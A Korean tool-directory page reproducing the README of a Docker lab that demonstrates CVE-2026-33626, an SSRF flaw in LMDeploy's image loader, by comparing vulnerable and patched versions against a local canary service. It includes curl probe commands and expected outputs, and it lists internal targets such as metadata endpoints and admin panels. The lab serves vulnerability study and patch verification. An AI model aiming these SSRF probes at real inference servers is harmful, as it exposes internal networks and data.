Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33626-Lab | Kitploit
도구/GitHubGitHub/rootdirective-sec/cve-2026-33626-lab
Vulnerability AnalysisWeb SecurityCTFLearning & EducationAI SecurityLabs & Practice
GitHubrootdirective-sec/cve-2026-33626-lab

CVE-2026-33626-Lab

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33626 — LMDeploy 비전-언어 SSRF 실습 환경

개요

이 저장소는 LMDeploy의 비전-언어 이미지 로딩 경로에서 발생하는 SSRF(Server-Side Request Forgery, 서버 측 요청 위조) 취약점인 CVE-2026-33626을 재현합니다.

취약한 동작은 LMDeploy가 이미지 URL을 수신하고 서버 측 이미지 로더가 내부(internal), 사설(private), 루프백(loopback), 링크-로컬(link-local) 주소를 제대로 차단하지 않은 채 해당 URL을 가져올 때 발생합니다.

이 실습 환경은 다음을 비교합니다:

서비스버전목적
vulnLMDeploy 0.12.0취약한 동작 시연
patchedLMDeploy 0.12.3패치된 동작 시연
internalLocal canary serviceDocker 네트워크 내부 전용 리소스 시뮬레이션

이 실습 환경은 Docker Compose로 로컬에서 실행되도록 설계되었으며, 클라우드 메타데이터 엔드포인트나 외부 대상을 접촉하지 않습니다.


취약점 요약

LMDeploy는 사용자가 제공한 URL에서 이미지를 로드할 수 있는 비전-언어 워크플로우를 지원합니다. 취약한 버전에서는 이미지 로딩 코드가 내부/사설 네트워크 주소로 해석되는 URL을 가져올 수 있습니다.

이로 인해 LMDeploy 엔드포인트에 접근 권한이 있는 공격자가 서버로 하여금 다음과 같은 내부 리소스를 요청하도록 만들 수 있습니다:

  • 내부 HTTP 서비스
  • 메타데이터 엔드포인트
  • 캐시/데이터베이스 서비스
  • 내부 관리자 패널
  • 추론 서버 네트워크에서 접근 가능한 기타 서비스

이 실습 환경에서 내부 대상은 의도적으로 무해합니다:

root@kitploit:~
http://internal:9000/private.png

이 URL은 Docker Compose 네트워크 내부에서만 존재합니다.


실습 환경 설계

root@kitploit:~
PoC script
   |
   | sends image URL
   v
vuln / patched service
   |
   | calls lmdeploy.vl.load_image(url)
   v
internal canary service

이 실습 환경은 전체 VLM 추론 서버를 실행하지 않습니다. 대신 다음을 호출하여 취약한 LMDeploy 이미지 로딩 프리미티브를 격리합니다:

root@kitploit:~
from lmdeploy.vl import load_image
load_image(url)

이를 통해 재현 과정을 가볍고 결정적으로 유지하면서도 패치된 보안 동작을 그대로 시연할 수 있습니다.


저장소 구조

root@kitploit:~
.
├── docker-compose.yml
├── internal
│   ├── Dockerfile
│   └── server.py
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── vuln
│   └── Dockerfile
└── README.md

서비스

Docker 네트워크 내부에서 내부 카나리는 다음 주소로 접근할 수 있습니다:

root@kitploit:~
http://internal:9000/private.png

요구 사항

  • Docker Desktop
  • Docker Compose v2
  • PoC 스크립트 실행을 위한 Python 3

Apple Silicon에서는 이 실습 환경에 사용된 LMDeploy wheel이 x86_64 기반이므로 vuln 및 patched 서비스가 linux/amd64로 실행됩니다.


실습 환경 실행

서비스를 빌드하고 시작합니다:

root@kitploit:~
docker compose up -d --build

컨테이너 상태를 확인합니다:

root@kitploit:~
docker compose ps

예상 상태:

root@kitploit:~
cve-2026-33626-internal   Up
cve-2026-33626-vuln       Up (healthy)
cve-2026-33626-patched    Up (healthy)

버전 확인

root@kitploit:~
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq

예상 출력:

root@kitploit:~
{
  "lmdeploy_version": "0.12.0",
  "expected_role": "vulnerable"
}
root@kitploit:~
{
  "lmdeploy_version": "0.12.3",
  "expected_role": "patched"
}
root@kitploit:~
{
  "hits": []
}

PoC 실행

가상 환경을 만들고 의존성을 설치합니다:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

PoC를 실행합니다:

root@kitploit:~
python poc/poc.py

기본 SSRF 대상은 다음과 같습니다:

root@kitploit:~
http://internal:9000/private.png

이 대상은 공개 인터넷이 아닌 Docker 컨테이너에서 접근할 수 있습니다.


예상 결과

취약 서비스

취약 서비스는 내부 카나리 이미지를 성공적으로 가져와야 합니다:

root@kitploit:~
{
  "service": "vulnerable",
  "probe_http_status": 200,
  "probe_response": {
    "ok": true,
    "result": "lmdeploy.vl.load_image() fetched and decoded the URL",
    "lmdeploy_version": "0.12.0"
  },
  "internal_hit_count": 1
}

이는 LMDeploy 0.12.0이 내부 Docker 서비스에 서버 측 요청을 보냈음을 확인합니다.

패치된 서비스

패치된 서비스는 내부 서비스에 도달하기 전에 동일한 URL을 차단해야 합니다:

root@kitploit:~
{
  "service": "patched",
  "probe_http_status": 400,
  "probe_response": {
    "ok": false,
    "error_type": "ValueError",
    "error": "URL is blocked for security reasons: Blocked non-global IP detected",
    "lmdeploy_version": "0.12.3"
  },
  "internal_hit_count": 0
}

이는 LMDeploy 0.12.3이 비전역/내부 IP 주소로 해석되는 URL을 차단함을 확인합니다.

최종 예상 요약:

root@kitploit:~
[+] Expected result confirmed:
    vulnerable service fetched the internal canary
    patched service blocked before reaching the internal canary

수동 테스트

내부 카나리를 초기화합니다:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq

취약 서비스를 테스트합니다:

root@kitploit:~
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

예상: /hits에 요청 1개가 포함됩니다.

패치된 서비스를 테스트합니다:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

예상: /hits가 비어 있습니다.


이것이 SSRF를 입증하는 이유

PoC는 공격자가 하는 것처럼 내부 서비스를 직접 요청하지 않습니다.

대신 PoC는 내부 URL을 LMDeploy에 전송합니다. LMDeploy가 컨테이너 네트워크 내부에서 해당 URL을 가져오면 내부 카나리가 그 요청을 기록합니다.

이러한 동작이 SSRF 프리미티브를 입증합니다:

root@kitploit:~
attacker-controlled URL
        ↓
LMDeploy server-side image loader
        ↓
request to internal network resource

패치된 버전은 비전역 IP 주소로 해석되는 URL을 거부함으로써 이를 방지합니다.


정리

root@kitploit:~
docker compose down -v

참고 자료

  • GitHub 보안 권고: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq

  • NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626

  • 패치 커밋: 71d64a339edb901e9005358e0633fbbab367d626 https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626

  • 풀 리퀘스트: #4447 https://github.com/InternLM/lmdeploy/pull/4447

  • Sysdig 분석 https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours

도구 다운로드
서비스호스트 URL컨테이너 포트설명
vulnhttp://127.0.0.1:80818000LMDeploy 0.12.0 래퍼
patchedhttp://127.0.0.1:80828000LMDeploy 0.12.3 래퍼
internalhttp://127.0.0.1:80909000내부 카나리 서비스